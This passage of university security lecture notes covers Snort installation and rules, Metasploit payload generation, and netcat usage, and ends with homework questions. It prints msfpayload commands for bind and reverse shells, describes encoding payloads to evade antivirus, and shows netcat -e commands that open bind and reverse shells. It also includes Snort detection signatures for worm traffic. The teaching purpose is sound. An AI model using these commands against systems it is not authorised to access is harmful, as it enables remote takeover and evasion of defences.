attempt port 1023"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\
relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \
sid:100000111; rev:1;)

alert tcp $HOME_NET any -> 207.172.16.155 80 (msg:"COMMUNITY VIRUS Possible BlackWorm or \
Nymex infected host"; flow:to_server,established; uricontent:"/cgi-bin/Count.cgi?df=765247"; reference:u
Win32%2fMywife.E%40mm; reference:url,cme.mitre.org/data/list.html#24; reference:url,isc.\
sans.org/blackworm; classtype:trojan-activity; sid:100000226; rev:2;)

....
....
```

- It is easy to install **snort** through your Synaptic Packet Manager, but be warned that the installation does not run to completion without additional intervention by you. Before telling you what that intervention is, the installation will place the executable in **/usr/sbin/snort**, the start/stop/restart script in **/etc/init.d/snort**, and the config files in the **/etc/snort/** directory. As you'd expect, the documentation is placed in the **/usr/share/doc/snort/** directory. Please read the various **README** files in this directory before completing the installation. Some of these **README** files are compressed; so you will have to use a command like

```
zcat README.Debian.gz | more
```

to see what the instructions are. As you will find out from these `README` files, a full installation of `snort` requires that you also install a database server like `MySQL` or `PostgreSQL`. **But if you want to just have fun with `snort` as you are becoming familiar with the tool, it is not necessary to do so.** You just need to make sure that you delete the zero-content file named **`db-pending-config`** from the **`/etc/snort/`** directory.

- The syntax for writing the intrusion detection rules is explained in the file **`/usr/share/doc/snort/snort_rules.html`**.

- Your main config file is **`/etc/snort/snort.conf`**, but it should be good enough as it is for an initial introduction to the system.

- Once you get **`snort`** going, try the following command lines **as root**:

```
snort -v -i wlan0              // will see the headers of ALL TCP
                               // packets visible to the wlan0
                               // wireless interface

                               // the -v option is for verbose
                               // it slows down snort and it can lose
                               // packets with -v

snort -d -e -i wlan0           // will also show you data in packets
                               // -d option is for data, -e is for
                               // link-layer packets
```

```
snort -de -i wlan0             // a compressed form of the above


snort -d -i wlan0 -l my_snortlog_directory -h 192.168.1.0/24
                               // will scan your home LAN and dump
                               // info into a logfile in the named
                               // directory

snort -d -i wlan0 -l my_snortlog_directory -c rule-file
                               // will dump all of the info in a
                               // logfile but only for packets
                               // that trigger the specified rules
```

Do '`man snort`' to see all the options.

- If instead of the above command lines, you start up snort with (as root, of course):

  ```
  /etc/init.d/snort start
  ```

  and then if you do `ps ax | grep snort`, you will discover that this automatic start is equivalent to the following command line invocation:

  ```
  snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf\
  -S HOME_NET=[192.168.0.0/16] -i eth0
  ```

  assuming you are connected to a home LAN (192.168.1.0/24). Note the `-c` option here. In this case, this option points to the config file itself, meaning in general all the rule files pointed to by the config file.

- You can customize how **`snort`** works for each separate interface by writing a config file specific to that interface. The naming convention for such files is **`/etc/snort/snort.$INTERFACE.conf`**

- Some of the source code in **`snort`** is based directly on **`tcpdump`**.

- Martin Roesch is the force behind the development of Snort. It is now maintained by his company Sourcefire. The main website for Snort is **`http://www.snort.org`**. The main manual for the system is **`snort_manual.pdf`** (it did not land in my computer with the installation).

23.5: PENETRATION TESTING AND DEVELOPING NEW EXPLOITS WITH THE METASPLOIT FRAMEWORK

- The Metasploit Framework (`http://www.metasploit.com`) has emerged as "the tool" of choice for developing and testing new exploits against computers and networks.

- The Metasploit Framework can be thought of as a major "force multiplier" for both the good guys and the bad guys. It makes it easier for the good guys to test the defenses of a computer system against a large array of exploits that install malware in your machine. At the same time, the Framework makes it much easier for the bad guys to experiment with different exploits to break into a computer.

- The Framework has sufficient smarts built into it so that it can create exploits for a large number of different platforms, saving the attacker the bother of actually having to write code for those platforms.

- Let's say you want to create a worm for the iPhone platform but you don't know how to program in Objective C, the primary language for iPhone applications. Not to worry. With the Metasploit Framework, all you have to do is to execute the command **`msfpayload`** and give it the options that apply to the iPhone platform, and, voila, you'll have the executable of a worm for the iPhone. Obviously you would still be faced with the problem of how to actually deliver the worm you just created to its intended target. For that you could try mounting a social engineering attack of the type discuss in Lecture 30.

- The MF command mentioned above, **`msfpayload`**, allows you to create a *payload* in either the source-code form in a large variety of languages or as a binary executable for a number of different platforms. A exploit would then consist of installing the payload in a machine to be attacked. [In computer security literature, a *payload* is the same thing as *shellcode*.]

- The Metasploit Framework creates two different kinds of payloads: (1) Payloads that are fully autonomous for whatever it is they are meant to do — in the same sense as a worm we described in Lecture 22. And (2) Payloads with just sufficient networking capability to later pull in the rest of the needed code. [The first type of a payload is easier to detect by anti-virus tools. The second type of a payload would be much harder to detect because of its generic nature. The false-positive rate of an anti-virus tool that detects the second type of a payload would generally be much too high for the tool to be of much practical use.] From the standpoint of the good guys, a payload is what you attack a machine with to test its defenses. And, from the standpoint of the bad guys, a payload is nothing but a worm as we defined it in Lecture 22.

- The first type of a payload is created with the command syntax that, for the case of payloads meant for the Windows platform, looks like **`msfpayload window/shell_reverse_tcp`** and the second type with command syntax that looks like **`msfpayload windows/shell/reverse_tcp`**.

- To give the reader a sense of the syntax used for creating the payloads, the command

```
msfpayload windows/shell_bind_tcp X > temp.exe
```

creates the executable for a Windows backdoor shell listener, in other words, a server socket, on port 4444 (by default). If you could get the owner of a Windows machine to execute the code produced, you would have direct connection with the server program you installed surreptitiously. The following command line

```
msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx \
                                     LPORT=xxxxx  >  temp.exe
```

generates a reverse shell executable that connects back to the machine whose address is supplied through the parameter LHOST on its port supplied through the parameter LPORT. What that means is that subsequently you will have access to a shell on the attacked machine for executing other commands.

- Another very useful command in the Framework is `msfencode` that encodes a payload to make its detection more difficult by en-route filtering and targeted-machine anti-virus tools. The Metasploit Framework includes several different encoders, the most popular being called Shikata Ga Nai. A more technical name for this encoder is "Polymorphic XOR Additive Feedback Encoder."

- Encoded a payload also generates a *decoder stub* that is prepended to the encoded version of the payload for the purpose of decoding the payload at runtime in the attacked machine. The decoder stub simply reverses the steps used for encoding. The encoded version of payload is generally produced by piping the output of the `msfpayload` command into the `msfencode` command. Your encoded payloads are less likely to be detected by anti-virus tools if the payload was created was of the second type we mentioned above. That is, if it is of the type that contains only minimal code for connecting back to the attacker for the rest of the code.

- Here is an interesting report by `I)ruid` on how to encode a payload in such a way that makes it more difficult for anti-virus and intrusion prevention tools to detect the payload: `http://uninformed.org/index.cgi?v=9&a=3`. The title of the report is "Context-keyed Payload Encoding: Preventing Payload Disclosure via Context."

- Another interesting report you may wish to look up is "Effectiveness of Antivirus in Detecting Metasploit Payloads" by Mark Baggett. It is available from `http://www.sans.org` (or, you can just google the title of the report). This report examines the effectiveness with which the current anti-virus tools can detect the payloads generated by the Metasploit Framework.

- The Metasploit Framework has been acquired by Rapid7. However, it is free for non-commercial use.

23.6: THE EXTREMELY VERSATILE `netcat` UTILITY

- Netcat has got to be one of the most versatile tools ever created for troubleshooting networks. It is frequently referred to as the Swiss Army knife for network diagnostics.

- I suppose the coolest thing about **`netcat`** is that you can create TCP/UDP servers and clients without knowing a thing about how to program up such things in any language.

- And the second coolest thing about **`netcat`** is that it is supported on practically all platforms. So you can easily have Windows, Macs, Linux, etc., machines talking to one another even if you don't have the faintest idea as to how to write network programming code on these platforms. [Netcat comes pre-installed on several platforms, including Ubuntu and Macs]

- The manpage for **`netcat`** (you can see it by executing '**`man`** `netcat`' or '`man nc`') is very informative and shows examples of several different things you can do with `netcat`.

- What I have said so far in this section is the good news. The bad news is that you are likely to find two versions of `netcat` in your Ubuntu install: `nc.openbsd` and `nc.traditional`. The command `nc` is aliased to `nc.openbsd`. There are certain things you can do with `nc.traditional` that you are not allowed to with `nc`. Perhaps the most significant difference between `nc` and `nc.traditional` is with regard to the '-e' option. It is supported in `nc.traditional` but not in `nc`. The '-e' option can be used to create shells and remote shells for the execution of commands. You have a *shell* if the machine with the listener socket (the server socket) executes a shell command like `/bin/sh` on Unix/Linux machines or like `cmd.exe` on Windows machines. Subsequently, a client can send commands to the server, where they will be interpreted and executed by the shell. You have a *reverse shell* if the client side creates a client socket and then executes a shell command locally (such as by executing `/bin/sh` or `cmd.exe`) for the interpretation and execution of the commands received from the server side. The '-e' option can obviously create a major security vulnerability.

- Let's now look at some of the many modes in which you can use `netcat`. I'll assume that you have available to you two machines that both support `netcat`. [If one of these machines is behind a wireless access point at home and the other is out there somewhere in the internet, you'd need to ask your wireless router to open the server-side port you will be using for the experiments I describe below — regardless of which of the two machines you use for the server side. If you don't know how to open specific ports on your home router, for a typical home setting, you'll need to point your browser at home to a URL like `http://192.168.1.1` and, for the case of LinkSys routers at least, go to a page like "Applications and Gaming" to enter the port number and the local IP address of the machine for which you want the router to do what's known as *port forwarding*. When "playing" with `netcat`, most folks use port 1234 for the server side. So just allow port forwarding on port 1234.]

- We will assume one of the machines is `moonshine.ecn.purdue.edu` and the other is my Ubuntu laptop which may be either at home (behind a LinkSys wireless router) or at work on Purdue PAL wireless.

- For a simple **two-way** connection between my Ubuntu laptop and `moonshine.ecn.purdue.edu`, I'll enter in a terminal window on `moonshine` [You do NOT have to be root for all of the example code shown in this section.] :

  ```
  nc -l 1234
  ```

  and in my Ubuntu laptop the command:

  ```
  nc  moonshine.ecn.purdue.edu  1234
  ```

  The command-line option '-l' (that is 'el' and not 'one') in the first command above creates a listening socket on port 1234 at the `moonshine` end. The laptop end creates a client socket that wants to connect to the service at port 1234 of `moonshine.ecn.purdue.edu`. This establishes a **two-way** TCP link between the two machines for the exchange of one-line-at-a-time text. So anything you type at one end of this link will appear at the other end. [This is obviously an example of a rudimentary chat link.] You can obviously reverse the roles of the two machines (provided, if you are at home behind a router, you have enabled port-forwarding in the manner I described earlier).

- An important feature of the '-l' option for most invocations of `netcat` is that when either side shuts down the TCP link by entering Ctrl-D, the other side shuts down automatically. [The Windows version of `netcat` also supports an '-L' option for creating persistent listening sockets. If you open up such a server-side listening socket, you can only shut it down from the server side.]

- An extended version of the above demonstration is for establishing a TCP link for transferring files. For example, if I say on the `moonshine` machine:

```
nc -l 1234  >   foo.txt
```

  and if I execute the following command on my laptop:

```
nc  moonshine.ecn.purdue.edu  1234    <    bar.txt
```

  The contents of the `bar.txt` on the laptop will be transferred to the file `foo.txt` on `moonshine.ecn.purdue.edu`. The TCP link is terminated after the file transfer is complete.

- I'll now demonstrate how to use `netcat` to create a shell on a remote machine. In line with the definition of *shell* and *reverse shell* presented earlier in this section, if I want to get hold of a shell on a remote machine, I must execute the command `/bin/sh` directly on the remote machine. So we will execute the following command on `moonshine.ecn.purdue.edu`:

  ```
  nc.traditional  -l -p 1234 -e /bin/sh
  ```

  Note the use of the '-e' option, which is only available with `nc.traditional` on Ubuntu machines. [If you are running the above command on a Windows machine, replace `/bin/sh` by `cmd.exe`. Also, on Windows, you would call `nc` and not `nc.traditional`. Running '-e' option on Widows works only if you installed the version of `netcat` that has '-e' enabled. Note that an installation of the '-e' enabled version of `netcat` on Windows may set of anti-virus alarms.] Subsequently, I will run on the laptop the command

  ```
  nc  moonshine.ecn.purdue.edu  1234
  ```

  Now I can invoke on my laptop any commands that I want executed on the `moonshine.ecn.purdue.edu` machine (provided, of course, `moonshine` understands those commands). For example, if I enter `ls` on my laptop, it will be appropriately interpreted and executed by the shell on `moonshine` and I will see on my laptop a listing of all the files in the directory in which I created the listening socket on the `moonshine` side. Since my laptop now has access to a command shell on `moonshine`, the laptop will maintain a continuous on-going connection with `moonshine` and execute any number of commands there — until I hit either Ctrl-D at the laptop end or Ctrl-C at the `moonshine` end. [Entering Ctrl-D on the client side means you are sending EOF (end-of-file) indication to the server socket at the other end. And entering Ctrl-C on the server side means that you are sending the SIGINT signal to the process in which the server program is running to bring it to a halt.]

- I'll now demonstrate how to use **netcat** to create a *reverse* shell on a remote machine. In line with the definition of *reverse shell* presented earlier in this section, the client side must now execute a command like **/bin/sh** on Unix/Linux machines and **cmd.exe** on Windows machines in order to interpret and execute the commands received from the server side. So, this time, let's create an ordinary listening socket on **moonshine.ecn.purdue.edu** by entering the following in one of its terminal windows:

```
    nc.traditional  -l -p 1234
```

  Now, on the laptop side, I'll enter the following command line:

```
    nc.traditional  moonshine.ecn.purdue.edu  1234  -e /bin/sh
```

  Now any commands I enter on the server side — the **moonshine** side — will be executed on the laptop and the output of those commands displayed on the server side. *This is referred to as the server having access to a reverse shell on the client side.* You can terminate this TCP link by entering Ctrl-C on either side. [If you are running the above client-side command on a Windows machine, replace `/bin/sh` by `cmd.exe` to make available the Windows command shell to the server side.]

- You can also use **netcat** to carry out a rudimentary port scan with a command like

```
nc  -v  -z -w 2  shay.ecn.purdue.edu  20-30
```

where the last argument, 20-30, means that we want the ports 20 to 30, both ends inclusive, to be scanned. The '-w 2' sets the timeout to 2 seconds for the response from each port. The option '-v' is for the verbose mode. When used for port scanning, you may not see any output if you make the call without the verbose option. The option '-z' ensures that no data will be sent the machine being port scanned. There is also the option '-r' to randomize the order in which the ports are scanned.

- For the next example, I'll show how you can use **`netcat`** to redirect a port. [This is something that you can also do easily with **`iptables`** by inserting a **`REDIRECT`** rule in the **`PREROUTING`** chain of the **`nat`** table of the firewall. See Chapter 18.] To explain the idea with a simple example, as you know, the SSH service is normally made available on port 22. Let's say, just for sake of making an example of port redirection, that you cannot reach that port directly. Instead you are allowed to reach, say, the port 2020. With **`netcat`**, you can relay your SSH connection through the port 2020. To bring that about, you execute the following two commands in some directory (which could be '**`/tmp`**' that all processes are allowed to write to)

```
mkfifo reverse
nc -l 2020 < reverse  |  nc localhost 22 > reverse
```

As to the reason for the first command above, note that a pipe is a unidirectional connection. So if we use a pipe to route the incoming traffic at the server on the listening port 2020 to another instance of **netcat** acting as a client vis-a-vis the SSHD server on port 22 of the same host, we also need to figure out how to route the information returned by the SSHD server. That is, when the SSHD server sends the TCP packets back to whosoever made a connection request, those packets need to travel back on the same relay path. This we do by first creating a standalone pipe with a designated name with the **mkfifo** command. We call this pipe **reverse** for obvious reasons. [In order to understand why **nc localhost 22 > reverse** captures the return TCP packets emanating the SSHD server, go back to the example of using **netcat** for file transfer. In the forward direction, whatever the command '**nc -l 2020**' write to the standard output get fed into the standard input to '**nc localhost 22**'. Subsequently, at the client site, you enter a command line like the following to make an SSH connection with the remote host:

```
ssh kak@moonshine.ecn.purdue.edu  -p  2020
```

- Finally, note that **netcat** understands both IPv4 and IPv6. A **netcat** command can be customized to the IPv4 protocol with the '-4' option flag and to the IPv6 protocol with the '-6' flag.

23.7: HOMEWORK PROBLEMS

1. Nowadays even the hoi polloi talk about the ports on their home computers being open or closed. But what exactly is meant by an open port? And by a closed port? Say I buy a brand new laptop with only the most basic software (word processor, browser, etc.) installed on it. Should I assume that all the ports on the laptop are open?

2. What are all the different things you can accomplish with the `nmap` port scanner? Say that my laptop is only hosting the `sshd` and `httpd` server daemons. Assuming a standard install for these servers, which ports will be found to be open on my laptop by the `nmap` port scanner?

3. Let's say you have port scanned my laptop and found no ports to be open. Should I leap to the conclusion that all the ports on my laptop are closed and that therefore my laptop is not vulnerable to virus and worms?

4. What are the main differences between a port scanner like `nmap` and a vulnerability scanner like `nessus`?

5. Why might it be unwise to scan a network too frequently with a vulnerability scanner?

6. The vulnerability tests carried out by the `nessus` scanner are written in a special language. What is it called?

7. What do the phrases "packet sniffer," "protocol analyzer," and "network analyzer" mean to you? How do these things differ from port scanners and vulnerability scanners?

8. As you know, the network interface on all of the machines in a LAN see all the packets in the LAN regardless of which machines they originate from or which machines they are intended for. Does the same thing happen in a wireless LAN?

9. Describe the structure of an Ethernet frame? What is the maximum size of an Ethernet frame? What about its minimum size?

10. How does the Network Layer in the TCP/IP stack map the destination IP address in a packet to the MAC address of the destination machine (assuming the destination machine is in the same LAN)?

11. When we say that a network interface is operating in the promiscuous mode, what do we mean?

12. What is the difference between **`tcpdump`** and **`snort`**? What makes **`snort`** such a powerful tool for intrusion detection?